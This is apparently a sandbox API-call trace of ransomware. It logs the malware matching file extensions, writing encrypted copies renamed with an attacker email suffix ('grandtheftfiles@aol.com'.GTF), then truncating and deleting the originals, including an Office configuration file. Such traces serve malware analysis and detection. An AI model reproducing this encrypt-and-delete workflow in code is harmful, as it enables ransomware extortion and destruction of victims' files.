	[0068.877] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.877] lstrlenW (lpString=".doc") returned 4
	[0068.877] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.877] lstrlenW (lpString=".docx") returned 5
	[0068.877] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0068.877] lstrlenW (lpString=".pdf") returned 4
	[0068.877] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.877] lstrlenW (lpString=".xls") returned 4
	[0068.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.877] lstrlenW (lpString=".xlsx") returned 5
	[0068.877] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0068.877] lstrlenW (lpString=".ppt") returned 4
	[0068.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.877] lstrlenW (lpString=".zip") returned 4
	[0068.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.877] lstrlenW (lpString=".rar") returned 4
	[0068.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.877] lstrlenW (lpString=".bz2") returned 4
	[0068.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.877] lstrlenW (lpString=".7z") returned 3
	[0068.877] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.877] lstrlenW (lpString=".dbf") returned 4
	[0068.877] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.877] lstrlenW (lpString=".1cd") returned 4
	[0068.877] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.878] lstrlenW (lpString=".jpg") returned 4
	[0068.878] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.878] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0068.878] lstrlenW (lpString="Strings.xml") returned 11
	[0068.878] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.878] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=14084) returned 1
	[0068.878] CloseHandle (hObject=0x36c) returned 1
	[0068.878] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80
	[0068.878] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.878] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.878] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.879] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.879] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.879] GetLastError () returned 0x0
	[0068.879] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x3704, lpOverlapped=0x0) returned 1
	[0068.897] WriteFile (in: hFile=0x330, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3710, lpOverlapped=0x0) returned 1
	[0068.898] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.898] WriteFile (in: hFile=0x330, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xea, lpOverlapped=0x0) returned 1
	[0068.898] SetEndOfFile (hFile=0x330) returned 1
	[0068.898] CloseHandle (hObject=0x330) returned 1
	[0068.899] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.899] SetEndOfFile (hFile=0x36c) returned 1
	[0068.900] CloseHandle (hObject=0x36c) returned 1
	[0068.900] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.901] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1
	[0068.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.901] lstrlenW (lpString=".doc") returned 4
	[0068.901] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.901] lstrlenW (lpString=".docx") returned 5
	[0068.901] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0068.901] lstrlenW (lpString=".pdf") returned 4
	[0068.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.901] lstrlenW (lpString=".xls") returned 4
	[0068.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.901] lstrlenW (lpString=".xlsx") returned 5
	[0068.901] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0068.901] lstrlenW (lpString=".ppt") returned 4
	[0068.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.901] lstrlenW (lpString=".zip") returned 4
	[0068.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.901] lstrlenW (lpString=".rar") returned 4
	[0068.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.901] lstrlenW (lpString=".bz2") returned 4
	[0068.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.901] lstrlenW (lpString=".7z") returned 3
	[0068.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.901] lstrlenW (lpString=".dbf") returned 4
	[0068.901] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.902] lstrlenW (lpString=".1cd") returned 4
	[0068.902] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.902] lstrlenW (lpString=".jpg") returned 4
	[0068.902] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.902] lstrlenW (lpString=".doc") returned 4
	[0068.902] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.902] lstrlenW (lpString=".docx") returned 5
	[0068.902] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0068.902] lstrlenW (lpString=".pdf") returned 4
	[0068.902] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.902] lstrlenW (lpString=".xls") returned 4
	[0068.902] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.902] lstrlenW (lpString=".xlsx") returned 5
	[0068.902] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0068.902] lstrlenW (lpString=".ppt") returned 4
	[0068.902] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.902] lstrlenW (lpString=".zip") returned 4
	[0068.902] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.902] lstrlenW (lpString=".rar") returned 4
	[0068.902] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.902] lstrlenW (lpString=".bz2") returned 4
	[0068.902] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.902] lstrlenW (lpString=".7z") returned 3
	[0068.902] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.902] lstrlenW (lpString=".dbf") returned 4
	[0068.902] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.902] lstrlenW (lpString=".1cd") returned 4
	[0068.902] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0068.903] lstrlenW (lpString=".jpg") returned 4
	[0068.903] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.903] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0068.903] lstrlenW (lpString="watermark.bmp") returned 13
	[0068.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.903] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=104072) returned 1
	[0068.903] CloseHandle (hObject=0x36c) returned 1
	[0068.903] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80
	[0068.903] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.903] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.903] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.904] GetLastError () returned 0x0
	[0068.904] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x19688, lpOverlapped=0x0) returned 1
	[0069.008] WriteFile (in: hFile=0x330, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x19690, lpOverlapped=0x0) returned 1
	[0069.010] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.010] WriteFile (in: hFile=0x330, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xee, lpOverlapped=0x0) returned 1
	[0069.011] SetEndOfFile (hFile=0x330) returned 1
	[0069.832] CloseHandle (hObject=0x330) returned 1
	[0069.835] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.835] SetEndOfFile (hFile=0x36c) returned 1
	[0069.837] CloseHandle (hObject=0x36c) returned 1
	[0069.837] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0069.837] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1
	[0069.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.837] lstrlenW (lpString=".doc") returned 4
	[0069.837] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0069.837] lstrlenW (lpString=".docx") returned 5
	[0069.837] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1
	[0069.838] lstrlenW (lpString=".pdf") returned 4
	[0069.838] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0069.838] lstrlenW (lpString=".xls") returned 4
	[0069.838] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0069.838] lstrlenW (lpString=".xlsx") returned 5
	[0069.838] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1
	[0069.838] lstrlenW (lpString=".ppt") returned 4
	[0069.838] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0069.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.838] lstrlenW (lpString=".zip") returned 4
	[0069.838] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0069.838] lstrlenW (lpString=".rar") returned 4
	[0069.838] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0069.838] lstrlenW (lpString=".bz2") returned 4
	[0069.838] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0069.838] lstrlenW (lpString=".7z") returned 3
	[0069.838] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0069.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.838] lstrlenW (lpString=".dbf") returned 4
	[0069.838] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0069.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.838] lstrlenW (lpString=".1cd") returned 4
	[0069.838] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0069.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.838] lstrlenW (lpString=".jpg") returned 4
	[0069.838] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0069.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.838] lstrlenW (lpString=".doc") returned 4
	[0069.838] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0069.838] lstrlenW (lpString=".docx") returned 5
	[0069.838] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1
	[0069.838] lstrlenW (lpString=".pdf") returned 4
	[0069.838] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0069.838] lstrlenW (lpString=".xls") returned 4
	[0069.839] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0069.839] lstrlenW (lpString=".xlsx") returned 5
	[0069.839] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1
	[0069.839] lstrlenW (lpString=".ppt") returned 4
	[0069.839] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0069.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.839] lstrlenW (lpString=".zip") returned 4
	[0069.839] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0069.839] lstrlenW (lpString=".rar") returned 4
	[0069.839] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0069.839] lstrlenW (lpString=".bz2") returned 4
	[0069.839] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0069.839] lstrlenW (lpString=".7z") returned 3
	[0069.839] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0069.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.839] lstrlenW (lpString=".dbf") returned 4
	[0069.839] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0069.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.839] lstrlenW (lpString=".1cd") returned 4
	[0069.839] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0069.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35
	[0069.839] lstrlenW (lpString=".jpg") returned 4
	[0069.839] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0069.839] Sleep (dwMilliseconds=0x64) 
	[0069.954] Sleep (dwMilliseconds=0x64) 
	[0070.064] Sleep (dwMilliseconds=0x64) 
	[0070.173] Sleep (dwMilliseconds=0x64) 
	[0070.285] Sleep (dwMilliseconds=0x64) 
	[0070.408] Sleep (dwMilliseconds=0x64) 
	[0070.522] Sleep (dwMilliseconds=0x64) 
	[0070.626] Sleep (dwMilliseconds=0x64) 
	[0070.742] Sleep (dwMilliseconds=0x64) 
	[0070.861] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0070.861] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22
	[0070.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0070.861] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=4136) returned 1
	[0070.861] CloseHandle (hObject=0x358) returned 1
	[0070.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20
	[0070.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0070.862] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.862] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0070.863] GetLastError () returned 0x0
	[0070.863] ReadFile (in: hFile=0x358, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1028, lpOverlapped=0x0) returned 1
	[0070.864] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1030, lpOverlapped=0x0) returned 1
	[0070.865] ReadFile (in: hFile=0x358, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.865] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x100, lpOverlapped=0x0) returned 1
	[0070.865] SetEndOfFile (hFile=0x31c) returned 1
	[0070.866] CloseHandle (hObject=0x31c) returned 1
	[0070.866] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.866] SetEndOfFile (hFile=0x358) returned 1
	[0070.867] CloseHandle (hObject=0x358) returned 1
	[0070.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0070.868] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1
	[0070.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.868] lstrlenW (lpString=".doc") returned 4
	[0070.868] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.868] lstrlenW (lpString=".docx") returned 5
	[0070.868] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0070.868] lstrlenW (lpString=".pdf") returned 4
	[0070.868] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.868] lstrlenW (lpString=".xls") returned 4
	[0070.868] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.868] lstrlenW (lpString=".xlsx") returned 5
	[0070.868] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0070.868] lstrlenW (lpString=".ppt") returned 4
	[0070.868] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.868] lstrlenW (lpString=".zip") returned 4
	[0070.868] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.868] lstrlenW (lpString=".rar") returned 4
	[0070.868] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.868] lstrlenW (lpString=".bz2") returned 4
	[0070.868] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.868] lstrlenW (lpString=".7z") returned 3
	[0070.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.869] lstrlenW (lpString=".dbf") returned 4
	[0070.869] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.869] lstrlenW (lpString=".1cd") returned 4
	[0070.869] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.869] lstrlenW (lpString=".jpg") returned 4
	[0070.869] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.869] lstrlenW (lpString=".doc") returned 4
	[0070.869] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.869] lstrlenW (lpString=".docx") returned 5
	[0070.869] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0070.869] lstrlenW (lpString=".pdf") returned 4
	[0070.869] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.869] lstrlenW (lpString=".xls") returned 4
	[0070.869] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.869] lstrlenW (lpString=".xlsx") returned 5
	[0070.869] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0070.869] lstrlenW (lpString=".ppt") returned 4
	[0070.869] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.869] lstrlenW (lpString=".zip") returned 4
	[0070.869] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.869] lstrlenW (lpString=".rar") returned 4
	[0070.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.869] lstrlenW (lpString=".bz2") returned 4
	[0070.869] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.869] lstrlenW (lpString=".7z") returned 3
